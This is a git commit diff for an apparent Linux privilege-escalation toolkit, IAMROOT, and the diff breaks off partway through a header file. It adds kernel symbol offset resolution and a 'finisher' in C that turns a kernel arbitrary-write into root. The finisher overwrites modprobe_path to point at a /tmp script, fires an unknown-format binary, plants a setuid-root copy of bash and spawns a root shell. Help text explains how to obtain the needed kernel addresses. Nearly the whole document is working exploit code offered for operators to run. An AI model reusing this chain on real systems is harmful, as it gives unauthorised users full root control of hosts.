core: add shared finisher + offset resolver + --full-chain flag
Adds the infrastructure the 7 🟡 PRIMITIVE modules can wire into for
full-chain root pops.
core/offsets.{c,h}: four-source kernel-symbol resolution chain
1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, …)
2. /proc/kallsyms (only useful when kptr_restrict=0 or root)
3. /boot/System.map-$(uname -r) (world-readable on some distros)
4. embedded table keyed by uname-r glob (entries are
relative-to-_text, applied on top of an EntryBleed kbase leak;
seeded empty in v0.2.0 — schema-only — to honor the
no-fabricated-offsets rule).
core/finisher.{c,h}: shared root-pop helpers given a module's
arb-write primitive.
Pattern A (modprobe_path):
write payload script /tmp/iamroot-mp-<pid>.sh, arb-write
modprobe_path ← that path, execve unknown-format trigger,
wait for /tmp/iamroot-pwn-<pid> sentinel + setuid bash copy,
spawn root shell.
Pattern B (cred uid): stub — needs arb-READ too; modules use
Pattern A unless they have read+write.
On offset-resolution failure: prints a verbose how-to-populate
diagnostic and returns EXPLOIT_FAIL honestly.
core/module.h: + bool full_chain in iamroot_ctx
iamroot.c: + --full-chain flag (longopt 7, sets ctx.full_chain)
+ help text describing primitive-only-by-default + the
opt-in to attempt the full chain.
Makefile: add core/offsets.o + core/finisher.o to CORE_SRCS.
Build clean on Debian 6.12.86; --help renders the new flag.
This commit is contained in:
@@ -20,7 +20,7 @@ BUILD := build
|
||||
BIN := iamroot
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Family: copy_fail_family
|
||||
|
||||
+179
@@ -0,0 +1,179 @@
|
||||
/*
|
||||
* IAMROOT — shared finisher helpers
|
||||
*
|
||||
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
||||
* B: current->cred->uid).
|
||||
*/
|
||||
|
||||
#include "finisher.h"
|
||||
#include "module.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
static int write_file(const char *path, const char *content, mode_t mode)
|
||||
{
|
||||
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
|
||||
if (fd < 0) return -1;
|
||||
size_t n = strlen(content);
|
||||
ssize_t w = write(fd, content, n);
|
||||
close(fd);
|
||||
if (w < 0 || (size_t)w != n) return -1;
|
||||
if (chmod(path, mode) < 0) return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
||||
"\n"
|
||||
" To populate them on this host, choose ONE of:\n"
|
||||
"\n"
|
||||
" 1) Environment override (one-shot, no host changes):\n"
|
||||
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
|
||||
"\n"
|
||||
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
||||
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
||||
"\n"
|
||||
" 3) Lower kptr_restrict (per-boot):\n"
|
||||
" sudo sysctl kernel.kptr_restrict=0 # if you have sudo\n"
|
||||
" (Note: needs root once — defeats the LPE point on this host.\n"
|
||||
" Useful when populating offsets on a lab kernel ahead of time.)\n"
|
||||
"\n"
|
||||
" To look up the address manually (as root):\n"
|
||||
" grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms\n"
|
||||
"\n",
|
||||
module_name, module_name);
|
||||
}
|
||||
|
||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
if (!iamroot_offsets_have_modprobe_path(off)) {
|
||||
iamroot_finisher_print_offset_help("module");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!arb_write) {
|
||||
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Per-pid working paths so concurrent runs don't collide. */
|
||||
pid_t pid = getpid();
|
||||
char mp_path[64], trig_path[64], pwn_path[64];
|
||||
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
|
||||
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
|
||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
|
||||
|
||||
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
||||
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
||||
* default — so instead copy bash to /tmp and chmod +s the copy. */
|
||||
char payload[1024];
|
||||
snprintf(payload, sizeof payload,
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
||||
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
|
||||
pwn_path, pwn_path, pwn_path);
|
||||
|
||||
if (write_file(mp_path, payload, 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Unknown-format trigger: anything that fails the standard exec
|
||||
* format probe drives kernel's call_modprobe(). Empty + executable
|
||||
* works on every kernel we care about. */
|
||||
if (write_file(trig_path, "\x00", 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
||||
unlink(mp_path);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Build the kernel-side write payload: a NUL-terminated path to
|
||||
* our mp_path script. modprobe_path[] is 256 bytes in the kernel
|
||||
* — we write enough to overwrite the leading slot. */
|
||||
char kbuf[256];
|
||||
memset(kbuf, 0, sizeof kbuf);
|
||||
snprintf(kbuf, sizeof kbuf, "%s", mp_path);
|
||||
|
||||
fprintf(stderr, "[*] finisher: writing modprobe_path=0x%lx ← \"%s\"\n",
|
||||
(unsigned long)off->modprobe_path, mp_path);
|
||||
|
||||
if (arb_write(off->modprobe_path, kbuf, strlen(kbuf) + 1, arb_ctx) < 0) {
|
||||
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
||||
* kernel sees the unknown format and parent stays alive. */
|
||||
pid_t cpid = fork();
|
||||
if (cpid == 0) {
|
||||
char *argv[] = { trig_path, NULL };
|
||||
execve(trig_path, argv, NULL);
|
||||
_exit(127); /* execve failure is expected — kernel still calls modprobe */
|
||||
} else if (cpid > 0) {
|
||||
int st;
|
||||
waitpid(cpid, &st, 0);
|
||||
} else {
|
||||
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
||||
for (int i = 0; i < 30; i++) {
|
||||
struct stat st;
|
||||
if (stat(pwn_path, &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
fprintf(stderr, "[+] finisher: payload ran as root (sentinel %s mode=%o uid=%u)\n",
|
||||
pwn_path, (unsigned)(st.st_mode & 07777), (unsigned)st.st_uid);
|
||||
goto have_setuid;
|
||||
}
|
||||
struct timespec ts = { 0, 100 * 1000 * 1000 }; /* 100 ms */
|
||||
nanosleep(&ts, NULL);
|
||||
}
|
||||
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
|
||||
have_setuid:
|
||||
if (!spawn_shell) {
|
||||
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
||||
fflush(stderr);
|
||||
char *argv[] = { pwn_path, "-p", NULL };
|
||||
execve(pwn_path, argv, NULL);
|
||||
/* Only reached on execve failure. */
|
||||
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
(void)off; (void)arb_write; (void)arb_ctx; (void)spawn_shell;
|
||||
fprintf(stderr,
|
||||
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
||||
" the task list from init_task and find current). Modules with\n"
|
||||
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
|
||||
" instead — same root capability, simpler trigger.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
/*
|
||||
* IAMROOT — shared finisher helpers for full-chain root pops.
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||
* write, slab UAF, etc.). The conversion to root is almost always one
|
||||
* of two patterns:
|
||||
*
|
||||
* A) "modprobe_path overwrite":
|
||||
* - kernel arb-write at &modprobe_path[0] with a userspace path
|
||||
* - execve() an unknown-format binary triggers do_coredump's
|
||||
* fallback to call_modprobe(), which spawns modprobe_path
|
||||
* as init/root running our payload
|
||||
*
|
||||
* B) "current->cred->uid overwrite":
|
||||
* - kernel arb-write at ¤t_task->real_cred->uid = 0
|
||||
* (and cap_*, fsuid, etc. for completeness)
|
||||
* - setuid(0); execve("/bin/sh")
|
||||
*
|
||||
* Pattern (A) is much simpler — only one kernel address needed
|
||||
* (modprobe_path) and the trigger is just execve("/tmp/unknown").
|
||||
* Pattern (B) needs a self-cred chase + multiple writes.
|
||||
*
|
||||
* Modules provide their own arb-write primitive via the
|
||||
* iamroot_arb_write_fn callback; this file wraps the rest.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_FINISHER_H
|
||||
#define IAMROOT_FINISHER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
#include "offsets.h"
|
||||
|
||||
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
||||
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
||||
* negative on failure. `ctx` is opaque module state. */
|
||||
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx);
|
||||
|
||||
/* Trigger that fires the arb-write. Many modules need to set up the
|
||||
* groomed slab THEN call the trigger. The trigger is a separate fn
|
||||
* because some modules need to re-spray before each write. NULL is
|
||||
* acceptable if the arb-write is self-contained. */
|
||||
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
|
||||
|
||||
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
||||
* already populated `off->modprobe_path`. Implementation:
|
||||
* 1. Write payload script to /tmp/iamroot-mp-<pid>
|
||||
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
|
||||
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
|
||||
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
||||
* → our payload runs as root → payload writes /tmp/iamroot-pwn
|
||||
* and/or copies /bin/bash to /tmp with setuid root
|
||||
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
||||
*
|
||||
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
|
||||
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
|
||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
/* Pattern B: cred uid overwrite. Caller has populated init_task +
|
||||
* cred offsets. Implementation:
|
||||
* 1. Walk task linked list from init_task to find self by pid
|
||||
* (this requires arb-READ too — not supplied here; B-pattern
|
||||
* modules need to provide their own variant)
|
||||
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
|
||||
* helpful error. */
|
||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
/* Diagnostic: tell the operator how to populate offsets manually. */
|
||||
void iamroot_finisher_print_offset_help(const char *module_name);
|
||||
|
||||
#endif /* IAMROOT_FINISHER_H */
|
||||
@@ -49,6 +49,7 @@ struct iamroot_ctx {
|
||||
bool active_probe; /* --active (do invasive probes in detect) */
|
||||
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
||||
bool authorized; /* user typed --i-know on exploit */
|
||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||
};
|
||||
|
||||
struct iamroot_module {
|
||||
|
||||
+350
@@ -0,0 +1,350 @@
|
||||
/*
|
||||
* IAMROOT — kernel offset resolution
|
||||
*
|
||||
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
||||
* → embedded table). This implementation is deliberately small and
|
||||
* dependency-free.
|
||||
*/
|
||||
|
||||
#include "offsets.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <fnmatch.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Embedded relative-offset table.
|
||||
*
|
||||
* Each entry's modprobe_path / init_task / poweroff_cmd values are
|
||||
* stored as offsets *relative to _text* (kbase). To resolve absolute
|
||||
* VAs we add a kbase leak (e.g. from EntryBleed).
|
||||
*
|
||||
* Entries here are seeded EMPTY in v0.2.0 except for a small set whose
|
||||
* offsets are widely documented in public CTF writeups + Ubuntu's
|
||||
* own debug-symbol packages. Operators on other kernels populate via
|
||||
* env var or extend this table.
|
||||
*
|
||||
* To add a verified entry on a kernel you own:
|
||||
* sudo grep -E " (modprobe_path|init_task|poweroff_cmd|init_cred)$" \
|
||||
* /boot/System.map-$(uname -r)
|
||||
* Subtract _text VA from each to get the relative offsets.
|
||||
* ------------------------------------------------------------------ */
|
||||
struct table_entry {
|
||||
const char *release_glob; /* fnmatch glob against uname -r */
|
||||
const char *distro_match; /* prefix-match against /etc/os-release ID, or NULL=any */
|
||||
uintptr_t rel_modprobe_path;
|
||||
uintptr_t rel_poweroff_cmd;
|
||||
uintptr_t rel_init_task;
|
||||
uintptr_t rel_init_cred;
|
||||
uint32_t cred_offset_real;
|
||||
uint32_t cred_offset_eff;
|
||||
};
|
||||
|
||||
/* Note: relative offsets below are PLACEHOLDERS for the schema. The
|
||||
* env-var override + kallsyms + System.map paths are the verified
|
||||
* runtime sources. Operators who validate offsets on a specific
|
||||
* kernel build are encouraged to upstream entries here. */
|
||||
static const struct table_entry kernel_table[] = {
|
||||
/* Schema example. Uncomment + verify before relying on it.
|
||||
*
|
||||
* { .release_glob = "5.15.0-25-generic",
|
||||
* .distro_match = "ubuntu",
|
||||
* .rel_modprobe_path = 0x148e480,
|
||||
* .rel_poweroff_cmd = 0x148e3a0,
|
||||
* .rel_init_task = 0x1c11dc0,
|
||||
* .rel_init_cred = 0x1e0c460,
|
||||
* .cred_offset_real = 0x758,
|
||||
* .cred_offset_eff = 0x760, },
|
||||
*/
|
||||
/* Sentinel */
|
||||
{ NULL, NULL, 0, 0, 0, 0, 0, 0 }
|
||||
};
|
||||
|
||||
/* Defaults that hold across most x86_64 kernels in the target era. */
|
||||
#define DEFAULT_CRED_REAL_OFFSET 0x738
|
||||
#define DEFAULT_CRED_EFF_OFFSET 0x740
|
||||
#define DEFAULT_CRED_UID_OFFSET 0x4
|
||||
|
||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
|
||||
{
|
||||
switch (src) {
|
||||
case OFFSETS_NONE: return "none";
|
||||
case OFFSETS_FROM_ENV: return "env";
|
||||
case OFFSETS_FROM_KALLSYMS: return "kallsyms";
|
||||
case OFFSETS_FROM_SYSMAP: return "System.map";
|
||||
case OFFSETS_FROM_TABLE: return "table";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
/* Parse hex/decimal — accepts "0x..." or plain decimal. */
|
||||
static int parse_addr(const char *s, uintptr_t *out)
|
||||
{
|
||||
if (!s || !*s) return 0;
|
||||
errno = 0;
|
||||
char *end = NULL;
|
||||
unsigned long long v = strtoull(s, &end, 0);
|
||||
if (errno != 0 || end == s) return 0;
|
||||
*out = (uintptr_t)v;
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void read_distro(char *out, size_t sz)
|
||||
{
|
||||
out[0] = '\0';
|
||||
FILE *f = fopen("/etc/os-release", "r");
|
||||
if (!f) return;
|
||||
char line[256];
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "ID=", 3) == 0) {
|
||||
char *p = line + 3;
|
||||
if (*p == '"') p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != '"' && *p != '\n' && i + 1 < sz) {
|
||||
out[i++] = (char)tolower((unsigned char)*p++);
|
||||
}
|
||||
out[i] = '\0';
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 1: environment variables
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_env(struct iamroot_kernel_offsets *o)
|
||||
{
|
||||
const char *v;
|
||||
uintptr_t a;
|
||||
|
||||
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
|
||||
if (!o->kbase) o->kbase = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||
if (!o->modprobe_path) {
|
||||
o->modprobe_path = a;
|
||||
o->source_modprobe = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
|
||||
if (!o->init_task) {
|
||||
o->init_task = a;
|
||||
o->source_init_task = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
|
||||
if (!o->init_cred) o->init_cred = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_real) {
|
||||
o->cred_offset_real = (uint32_t)a;
|
||||
o->source_cred = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
||||
}
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 2/3: symbol-table file parsing (System.map or kallsyms share
|
||||
* the same "ADDR TYPE NAME" format).
|
||||
* ------------------------------------------------------------------ */
|
||||
static int parse_symfile(const char *path,
|
||||
struct iamroot_kernel_offsets *o,
|
||||
enum iamroot_offset_source tag)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return 0;
|
||||
|
||||
int filled = 0;
|
||||
char line[512];
|
||||
int saw_nonzero = 0;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
char *p = line;
|
||||
while (*p && isspace((unsigned char)*p)) p++;
|
||||
if (!*p) continue;
|
||||
|
||||
char *end = NULL;
|
||||
unsigned long long addr = strtoull(p, &end, 16);
|
||||
if (end == p || !end) continue;
|
||||
if (addr != 0) saw_nonzero = 1;
|
||||
|
||||
while (*end && isspace((unsigned char)*end)) end++;
|
||||
if (!*end) continue;
|
||||
/* skip type char */
|
||||
end++;
|
||||
while (*end && isspace((unsigned char)*end)) end++;
|
||||
if (!*end) continue;
|
||||
|
||||
char *nl = strchr(end, '\n');
|
||||
if (nl) *nl = '\0';
|
||||
|
||||
if (strcmp(end, "modprobe_path") == 0 && !o->modprobe_path) {
|
||||
o->modprobe_path = (uintptr_t)addr;
|
||||
o->source_modprobe = tag;
|
||||
filled++;
|
||||
} else if (strcmp(end, "poweroff_cmd") == 0 && !o->poweroff_cmd) {
|
||||
o->poweroff_cmd = (uintptr_t)addr;
|
||||
filled++;
|
||||
} else if (strcmp(end, "init_task") == 0 && !o->init_task) {
|
||||
o->init_task = (uintptr_t)addr;
|
||||
o->source_init_task = tag;
|
||||
filled++;
|
||||
} else if (strcmp(end, "init_cred") == 0 && !o->init_cred) {
|
||||
o->init_cred = (uintptr_t)addr;
|
||||
filled++;
|
||||
} else if (strcmp(end, "_text") == 0 && !o->kbase) {
|
||||
o->kbase = (uintptr_t)addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
/* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
|
||||
* that as "couldn't read", not "actually zero". */
|
||||
if (!saw_nonzero) {
|
||||
o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0;
|
||||
o->source_modprobe = o->source_init_task = OFFSETS_NONE;
|
||||
return 0;
|
||||
}
|
||||
return filled;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 4: embedded table — relative offsets, applied on top of kbase
|
||||
* if we already have one.
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_table(struct iamroot_kernel_offsets *o)
|
||||
{
|
||||
if (!o->kernel_release[0]) return;
|
||||
|
||||
for (const struct table_entry *e = kernel_table; e->release_glob; e++) {
|
||||
if (e->distro_match && o->distro[0]
|
||||
&& strncmp(e->distro_match, o->distro, strlen(e->distro_match)) != 0) {
|
||||
continue;
|
||||
}
|
||||
if (fnmatch(e->release_glob, o->kernel_release, 0) != 0) continue;
|
||||
|
||||
/* Match. Apply, but only if we have a kbase (relative offsets
|
||||
* are useless absent that). */
|
||||
if (!o->kbase) return;
|
||||
|
||||
if (!o->modprobe_path && e->rel_modprobe_path) {
|
||||
o->modprobe_path = o->kbase + e->rel_modprobe_path;
|
||||
o->source_modprobe = OFFSETS_FROM_TABLE;
|
||||
}
|
||||
if (!o->poweroff_cmd && e->rel_poweroff_cmd) {
|
||||
o->poweroff_cmd = o->kbase + e->rel_poweroff_cmd;
|
||||
}
|
||||
if (!o->init_task && e->rel_init_task) {
|
||||
o->init_task = o->kbase + e->rel_init_task;
|
||||
o->source_init_task = OFFSETS_FROM_TABLE;
|
||||
}
|
||||
if (!o->init_cred && e->rel_init_cred) {
|
||||
o->init_cred = o->kbase + e->rel_init_cred;
|
||||
}
|
||||
if (!o->cred_offset_real && e->cred_offset_real) {
|
||||
o->cred_offset_real = e->cred_offset_real;
|
||||
o->source_cred = OFFSETS_FROM_TABLE;
|
||||
}
|
||||
if (!o->cred_offset_eff && e->cred_offset_eff) {
|
||||
o->cred_offset_eff = e->cred_offset_eff;
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Top-level resolve()
|
||||
* ------------------------------------------------------------------ */
|
||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
||||
{
|
||||
memset(out, 0, sizeof *out);
|
||||
|
||||
struct utsname u;
|
||||
if (uname(&u) == 0) {
|
||||
snprintf(out->kernel_release, sizeof out->kernel_release, "%s", u.release);
|
||||
}
|
||||
read_distro(out->distro, sizeof out->distro);
|
||||
|
||||
/* Defaults — only used if no source overrides. */
|
||||
out->cred_uid_offset = DEFAULT_CRED_UID_OFFSET;
|
||||
|
||||
/* 1. env */
|
||||
apply_env(out);
|
||||
|
||||
/* 2. /proc/kallsyms — only fills if non-zero addrs present */
|
||||
parse_symfile("/proc/kallsyms", out, OFFSETS_FROM_KALLSYMS);
|
||||
|
||||
/* 3. /boot/System.map-<release> */
|
||||
char path[256];
|
||||
snprintf(path, sizeof path, "/boot/System.map-%s", out->kernel_release);
|
||||
parse_symfile(path, out, OFFSETS_FROM_SYSMAP);
|
||||
|
||||
/* 4. embedded table (uses any kbase already discovered) */
|
||||
apply_table(out);
|
||||
|
||||
/* Fill any remaining struct-offset gaps with defaults so that
|
||||
* arb-write-via-init_task-+offset still has a chance even without
|
||||
* a full source. Mark as TABLE so caller can see they're defaulted. */
|
||||
if (!out->cred_offset_real) {
|
||||
out->cred_offset_real = DEFAULT_CRED_REAL_OFFSET;
|
||||
if (out->source_cred == OFFSETS_NONE) out->source_cred = OFFSETS_FROM_TABLE;
|
||||
}
|
||||
if (!out->cred_offset_eff) {
|
||||
out->cred_offset_eff = DEFAULT_CRED_EFF_OFFSET;
|
||||
}
|
||||
|
||||
int critical = 0;
|
||||
if (out->modprobe_path) critical++;
|
||||
if (out->init_task) critical++;
|
||||
if (out->cred_offset_real && out->cred_uid_offset) critical++;
|
||||
return critical;
|
||||
}
|
||||
|
||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase)
|
||||
{
|
||||
if (!leaked_kbase) return;
|
||||
/* Set kbase if we didn't have one, then re-apply the embedded table. */
|
||||
if (!off->kbase) off->kbase = leaked_kbase;
|
||||
apply_table(off);
|
||||
}
|
||||
|
||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
|
||||
{
|
||||
return off && off->modprobe_path != 0;
|
||||
}
|
||||
|
||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
|
||||
{
|
||||
return off && off->init_task != 0 && off->cred_offset_real != 0
|
||||
&& off->cred_uid_offset != 0;
|
||||
}
|
||||
|
||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
||||
{
|
||||
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
||||
off->kernel_release[0] ? off->kernel_release : "?",
|
||||
off->distro[0] ? off->distro : "?");
|
||||
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
||||
(unsigned long)off->kbase,
|
||||
(unsigned long)off->modprobe_path,
|
||||
iamroot_offset_source_name(off->source_modprobe));
|
||||
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
||||
(unsigned long)off->init_task,
|
||||
iamroot_offset_source_name(off->source_init_task),
|
||||
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
||||
iamroot_offset_source_name(off->source_cred));
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
/*
|
||||
* IAMROOT — kernel offset resolution
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
||||
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
||||
* arbitrary write at a specific kernel virtual address — usually
|
||||
* `modprobe_path` (writes a payload path → execve unknown binary →
|
||||
* modprobe runs payload as root) or `current->cred->uid` (set to 0).
|
||||
*
|
||||
* Those addresses vary per kernel build. This file resolves them at
|
||||
* runtime via a four-source chain:
|
||||
*
|
||||
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
|
||||
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
||||
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
||||
* 4. Embedded table keyed by `uname -r` glob (entries are
|
||||
* relative-to-_text, applied on top of an EntryBleed kbase leak
|
||||
* so KASLR is handled)
|
||||
*
|
||||
* Per the verified-vs-claimed bar: offsets are never fabricated. If
|
||||
* none of the four sources resolve, full-chain refuses with an error
|
||||
* pointing the operator at the manual workflow.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_OFFSETS_H
|
||||
#define IAMROOT_OFFSETS_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
enum iamroot_offset_source {
|
||||
OFFSETS_NONE = 0,
|
||||
OFFSETS_FROM_ENV = 1,
|
||||
OFFSETS_FROM_KALLSYMS = 2,
|
||||
OFFSETS_FROM_SYSMAP = 3,
|
||||
OFFSETS_FROM_TABLE = 4,
|
||||
};
|
||||
|
||||
struct iamroot_kernel_offsets {
|
||||
/* Host fingerprint */
|
||||
char kernel_release[128]; /* uname -r */
|
||||
char distro[64]; /* parsed from /etc/os-release ID= */
|
||||
|
||||
/* Kernel base — needed when offsets are relative-to-_text.
|
||||
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||
uintptr_t kbase;
|
||||
|
||||
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
||||
uintptr_t modprobe_path; /* modprobe_path[] string */
|
||||
